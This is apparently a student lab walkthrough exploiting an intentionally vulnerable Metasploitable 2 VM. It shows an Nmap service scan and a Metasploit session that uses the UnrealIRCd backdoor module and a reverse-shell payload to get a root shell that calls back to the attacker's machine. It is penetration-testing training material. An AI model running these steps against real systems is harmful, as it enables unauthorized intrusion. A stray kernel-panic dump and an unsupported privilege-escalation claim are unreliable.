

# 1 ADVANCED EXPLOITATION

First, setup the environment for exploitation and setup the tools like Metasploit, python and Nmap. Setup a VMware workstation and Kali Linux for testing environment.

Environment:

Attacker: Kali Linux

Target: Metasploitable 2 VM (192.168.1.14)

Tools: Metasploit, Python3 and Nmap

## 1.1 Setup & Reconnaissance

After setting of the tools run a scan with Nmap using the metasploitable 2 Vm Machine (192.168.1.14) and identify any vulnerable ports are there.

**nmap 192.168.1.14 -sV**

```
(root@kali) ~]
# nmap 192.168.1.14 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-21 02:47 EST
Nmap scan report for 192.168.1.14
Host is up (0.0032s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login          OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8080/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

## 1.2 Chained Exploit Simulation

First, we have to setup the Metasploit in our Kali Linux by using the command as

**msfconsole**

```
(root@kali)-[~]
# msfconsole
Metasploit tip: Bind your reverse shell to a tunnel with set
ReverseListenerBindAddress <tunnel_address> and set
ReverseListenerBindPort <tunnel_port> (e.g., ngrok)

# File System

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018  es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
```

After, search the exploit called as `unreal_ircd_3281_backdoor` in the msfconsole

```
msf > search unrealirc

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent No     UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf > use 0
```

Then, you have to see the options and setup all the necessary steps like setup RHOSTS, Payload, LHOST and LPORT and then you can exploit .

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.1.14
RHOSTS => 192.168.1.14
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[-] 192.168.1.14:6667 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[-] 192.168.1.14:6667 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
```

At last, we got the Meta 2 machine root access. Weather in old linux systems we have to check the permissions of the user and then using the nmap to access privilege escalation.

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST eth0
LHOST => 192.168.1.13
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.1.13:4444
[*] 192.168.1.14:6667 - Connected to 192.168.1.14:6667 ...
:irc.Metasplitable.LAN NOTICE AUTH :*** Looking up your hostname ...
:irc.Metasplitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.1.14:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo CTbGyFidBBti6qWL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "CTbGyFidBBti6qWL\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.1.13:4444 -> 192.168.1.14:46469) at 2026-01-21 02:50:33 -0500

whoami
root
```

EXPLOIT ID	DESCRIPTION	TARGET IP	STATUS	PAYLOAD
004	Unreal_ircd backdoor -> Privilege Escalation	192.168.1.14	Success	Shell